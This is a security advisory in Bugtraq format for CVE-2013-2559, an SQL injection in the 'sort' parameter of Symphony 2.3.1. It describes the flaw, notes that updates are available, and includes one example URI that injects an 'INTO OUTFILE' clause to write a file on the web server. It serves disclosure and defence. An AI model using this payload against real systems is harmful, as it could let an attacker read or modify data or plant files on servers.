Symphony 'sort' Parameter SQL Injection Vulnerability

Bugtraq ID:	58843
Class:	Input Validation Error
CVE:	CVE-2013-2559
Remote:	Yes
Local:	No
Published:	Apr 03 2013 12:00AM
Updated:	Mar 19 2015 09:32AM
Credit:	High-Tech Bridge Security Research Lab
Vulnerable:
Not Vulnerable:

Symphony 'sort' Parameter SQL Injection Vulnerability

Symphony is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Symphony 2.3.1 is vulnerable; other versions may also be affected.

Symphony 'sort' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI are available:

http://www.example.com/symphony/system/authors/?order=asc&sort=id%20INTO%20OUTFILE%20%27/var/www/file.txt%27%20--%20

Symphony 'sort' Parameter SQL Injection Vulnerability

Solution:
Updates are available. Please see the references or vendor advisory for more information.

Symphony 'sort' Parameter SQL Injection Vulnerability

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